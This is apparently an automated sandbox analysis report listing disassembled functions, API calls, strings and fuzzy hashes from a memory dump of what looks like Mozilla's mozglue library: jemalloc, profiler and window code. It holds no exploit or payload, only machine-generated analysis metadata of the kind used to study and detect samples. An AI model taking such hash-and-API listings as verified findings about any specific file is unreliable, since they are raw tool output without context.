MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5B37A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5B3A02
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5B3793
MALLOC_OPTIONS, xrefs: 6C5B35FE
Compile-time page size does not divide the runtime one., xrefs: 6C5B3946

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 854f4b2f7b043648e7ffcb2cc1da66029388880483e450227e676f130b6bfc4c
Instruction ID: 4e3e71fa28a8fe76eec2ebfcf737ca44830b00176633e6b9b789117bc94b25f9
Opcode Fuzzy Hash: 854f4b2f7b043648e7ffcb2cc1da66029388880483e450227e676f130b6bfc4c
Instruction Fuzzy Hash: 2F536D71A057018FD708CF29C960616FFE1BF89328F29C66DE869AB791D771E841CB81

Function 6C5D55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C5AE1A5), ref: 6C5D5606
LoadLibraryW.KERNEL32(gdi32,?,6C5AE1A5), ref: 6C5D560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C5D5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C5D563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C5D566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C5D567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C5D5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5D56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5D56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5D56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5D56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C5D5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C5D572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C5D5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C5D5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C5D577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C5D5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5D57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5D57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5D57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5D57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5D57FF

Strings

SetWindowLongPtrW, xrefs: 6C5D57B7
GetThreadDpiAwarenessContext, xrefs: 6C5D562D
SetWindowPos, xrefs: 6C5D56F7
GetDpiForWindow, xrefs: 6C5D5690
EnableNonClientDpiScaling, xrefs: 6C5D5666
MonitorFromWindow, xrefs: 6C5D578D
CreateSolidBrush, xrefs: 6C5D57E4
gdi32, xrefs: 6C5D560A
StretchDIBits, xrefs: 6C5D57CC
GetMonitorInfoW, xrefs: 6C5D57A2
GetWindowDC, xrefs: 6C5D5710
LoadIconW, xrefs: 6C5D575B
DeleteObject, xrefs: 6C5D57F9
RegisterClassW, xrefs: 6C5D56AC
LoadCursorW, xrefs: 6C5D5774
user32, xrefs: 6C5D5601
AreDpiAwarenessContextsEqual, xrefs: 6C5D5637
ShowWindow, xrefs: 6C5D56DE
FillRect, xrefs: 6C5D5729
ReleaseDC, xrefs: 6C5D5742
CreateWindowExW, xrefs: 6C5D56C5
GetSystemMetricsForDpi, xrefs: 6C5D5677

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 9ff30756addee081012aab74c8eb2f3ab9d96510049fcaea03f43097a3aeffe7
Instruction ID: d7aaa5b10898040bac24b4a6949f9101f1d26a9422b687aca5d4db8e0d5a4f40
Opcode Fuzzy Hash: 9ff30756addee081012aab74c8eb2f3ab9d96510049fcaea03f43097a3aeffe7
Instruction Fuzzy Hash: A45168F0B123029BDB09AF39AD44D263AF9EB163457634525A971E2E42EF70D805CF6C

Function 6C5D34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D3EE2

Part of subcall function 6C5D6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5D61DD
Part of subcall function 6C5D6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C5D622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D4157

Part of subcall function 6C5D6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5D6250
Part of subcall function 6C5D6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5D484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5D4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5D4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5D4896
free.MOZGLUE ref: 6C5D489F

Strings

, xrefs: 6C5D4CD2

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 44f8587f8c6673fa52356f3b499d06cef1a6cefc535c492f3d8f8cb3bdfd7ad3
Instruction ID: a7e260d030f6fb95865ede96e63a39b2df56036a0ce691193fe6bf9157426c7b
Opcode Fuzzy Hash: 44f8587f8c6673fa52356f3b499d06cef1a6cefc535c492f3d8f8cb3bdfd7ad3
Instruction Fuzzy Hash: EAF23B74908780CFC765CF28C48469AFBF1BFC9348F128A5ED99997711DB31A886CB46

Function 6C5BF070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5BF09B

Part of subcall function 6C595B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5956EE,?,00000001), ref: 6C595B85
Part of subcall function 6C595B50: EnterCriticalSection.KERNEL32(6C5FF688,?,?,?,6C5956EE,?,00000001), ref: 6C595B90
Part of subcall function 6C595B50: LeaveCriticalSection.KERNEL32(6C5FF688,?,?,?,6C5956EE,?,00000001), ref: 6C595BD8
Part of subcall function 6C595B50: GetTickCount64.KERNEL32 ref: 6C595BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C5BF0AC

Part of subcall function 6C595C50: GetTickCount64.KERNEL32 ref: 6C595D40
Part of subcall function 6C595C50: EnterCriticalSection.KERNEL32(6C5FF688), ref: 6C595D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C5BF0BE

Part of subcall function 6C595C50: __aulldiv.LIBCMT ref: 6C595DB4
Part of subcall function 6C595C50: LeaveCriticalSection.KERNEL32(6C5FF688), ref: 6C595DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C5BF155
GetCurrentThreadId.KERNEL32 ref: 6C5BF1E0
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BF1ED
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BF212
GetCurrentThreadId.KERNEL32 ref: 6C5BF229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5BF231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5BF248
GetCurrentThreadId.KERNEL32 ref: 6C5BF2AE
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BF2BB
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BF2F8

Part of subcall function 6C5ACBE8: GetCurrentProcess.KERNEL32(?,6C5731A7), ref: 6C5ACBF1
Part of subcall function 6C5ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5731A7), ref: 6C5ACBFA

Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C584A68), ref: 6C5B945E
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B9470
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B9482
Part of subcall function 6C5B9420: __Init_thread_footer.LIBCMT ref: 6C5B949F

GetCurrentThreadId.KERNEL32 ref: 6C5BF350
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BF35D
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BF381
GetCurrentThreadId.KERNEL32 ref: 6C5BF398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5BF3A0
GetCurrentThreadId.KERNEL32 ref: 6C5BF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5BF491

Part of subcall function 6C5B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5B94EE
Part of subcall function 6C5B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5B9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5BF3CF

Part of subcall function 6C5BF070: GetCurrentThreadId.KERNEL32 ref: 6C5BF440
Part of subcall function 6C5BF070: AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BF44D
Part of subcall function 6C5BF070: ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BF472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5BF4A8
GetCurrentThreadId.KERNEL32 ref: 6C5BF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5BF561
GetCurrentThreadId.KERNEL32 ref: 6C5BF577
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BF585
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BF5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5BF56A
[I %d/%d] profiler_resume, xrefs: 6C5BF239
[I %d/%d] profiler_resume_sampling, xrefs: 6C5BF499
[I %d/%d] profiler_pause_sampling, xrefs: 6C5BF3A8

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 43e2bead085de9a82bf59161ddb62372a3fedd00d88bb5c7ad2eb0c22025ab54
Instruction ID: b12b133f680e564635d62bc479e1ecd10fb1d444d0ec30734087e0c6308c1d52
Opcode Fuzzy Hash: 43e2bead085de9a82bf59161ddb62372a3fedd00d88bb5c7ad2eb0c22025ab54
Instruction Fuzzy Hash: 83D1E739604204DFDB08AF68EC5875ABBF4AB86318F11071AE975D3F81DB715805CFAA

Function 6C5864C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5864DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5864F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C586505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C586518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C58652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C58671C
GetCurrentProcess.KERNEL32 ref: 6C586724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C58672F
GetCurrentProcess.KERNEL32 ref: 6C586759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C586764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C586A80
GetSystemInfo.KERNEL32(?), ref: 6C586ABE
__Init_thread_footer.LIBCMT ref: 6C586AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C586AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C586AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C586798
detoured.dll, xrefs: 6C5864DA
_etoured.dll, xrefs: 6C5864ED
nvd3d9wrap.dll, xrefs: 6C586500
nvdxgiwrap.dll, xrefs: 6C586513
user32.dll, xrefs: 6C586526

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 57c854487af194de80a96d828a13b3feb72e7d36e424d5dd1b6d88fea6a03c0a
Instruction ID: 333c08d5926982254f793e509808d4bf1d3964a4690fff87b4b79816e2d594f9
Opcode Fuzzy Hash: 57c854487af194de80a96d828a13b3feb72e7d36e424d5dd1b6d88fea6a03c0a
Instruction Fuzzy Hash: 99F1D070912329DFDB20DF24DC88B9AB7B5AF45318F1442D9D819E3681EB31AE85CF91

Function 6C59D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C59D904
LeaveCriticalSection.KERNEL32(?), ref: 6C59D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C59D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C59E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C59E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C59E315
AcquireSRWLockExclusive.KERNEL32(6C5FE804), ref: 6C59E37C
GetSystemInfo.KERNEL32(?), ref: 6C59E3C7
__Init_thread_footer.LIBCMT ref: 6C59E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C5FE810,00000040), ref: 6C59E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5FE7B8,00001388), ref: 6C59E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5FE744,00001388), ref: 6C59E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5FE784,00001388), ref: 6C59E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5FE7DC,00001388), ref: 6C59E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5FE768,00001388), ref: 6C59E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C59E52E
ReleaseSRWLockExclusive.KERNEL32(6C5FE804), ref: 6C59E54F

Part of subcall function 6C58D960: EnterCriticalSection.KERNEL32(?), ref: 6C58D999
Part of subcall function 6C58D960: EnterCriticalSection.KERNEL32(6C5FE7B8), ref: 6C58DA13

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C59E560, 6C59E58A, 6C59E5A5
MOZ_CRASH(), xrefs: 6C59E62B
<jemalloc>, xrefs: 6C59E61C, 6C59E6CC
: (malloc) Unsupported character in malloc options: ', xrefs: 6C59E6DD
MALLOC_OPTIONS, xrefs: 6C59E3FF
Compile-time page size does not divide the runtime one., xrefs: 6C59E621

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: 78586d82e339d99379dcba1159d273dab59350c4262e4cb45a37adc33018aea8
Instruction ID: 7728b0502e64fbcdf17c86d155f29eb181a84efaef139d334aba86f033330689
Opcode Fuzzy Hash: 78586d82e339d99379dcba1159d273dab59350c4262e4cb45a37adc33018aea8
Instruction Fuzzy Hash: 91929D71A056418FD718CF28CD80715BBE1FF86728F2986ADE8698B791D7B1E841CBC1

Function 6C5DC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5DC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5DC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C5DC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C5DC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C5DC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5DCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5DCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5DDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5DDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5DDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5DE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DE472

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 9096f112bdf1a3c5da449eb63b88ce2dffd95f7e0d06eff1e064eadefb42d096
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 9333AE71E0021ACFCB04CF9CC8806ADBBB2FF89310F2A4669D955AB755D731B945CBA4

Function 6C59ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C59EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C59EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C5A1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5A16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C5A1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5A1A3E

Strings

~qWl, xrefs: 6C59ED10
~qWl, xrefs: 6C59ED13

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qWl$~qWl
API String ID: 3693777188-2092580627
Opcode ID: 5dea232c3ba3a9da1b27a0e27dce850fd915b87d99ccf704b609828b7ec29c22
Instruction ID: 40cbc215e885b66f0c0e2ad13fdb1e63b967df06385e758834316fbd20b2b975
Opcode Fuzzy Hash: 5dea232c3ba3a9da1b27a0e27dce850fd915b87d99ccf704b609828b7ec29c22
Instruction Fuzzy Hash: 4FB32971E04259CFCB14CFA9C890A9DB7B2FF89304F2582A9D459AB745D730AD86CF90

Function 6C58FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5FE7B8), ref: 6C58FF81
LeaveCriticalSection.KERNEL32(6C5FE7B8), ref: 6C59022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C590240
EnterCriticalSection.KERNEL32(6C5FE768), ref: 6C59025B
LeaveCriticalSection.KERNEL32(6C5FE768), ref: 6C59027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C590D67, 6C590D7B, 6C590DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C58FE99, 6C58FEB7, 6C58FED3, 6C590DB8, 6C590DD3, 6C5919B4
<jemalloc>, xrefs: 6C590D62, 6C590D76, 6C590DA7

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
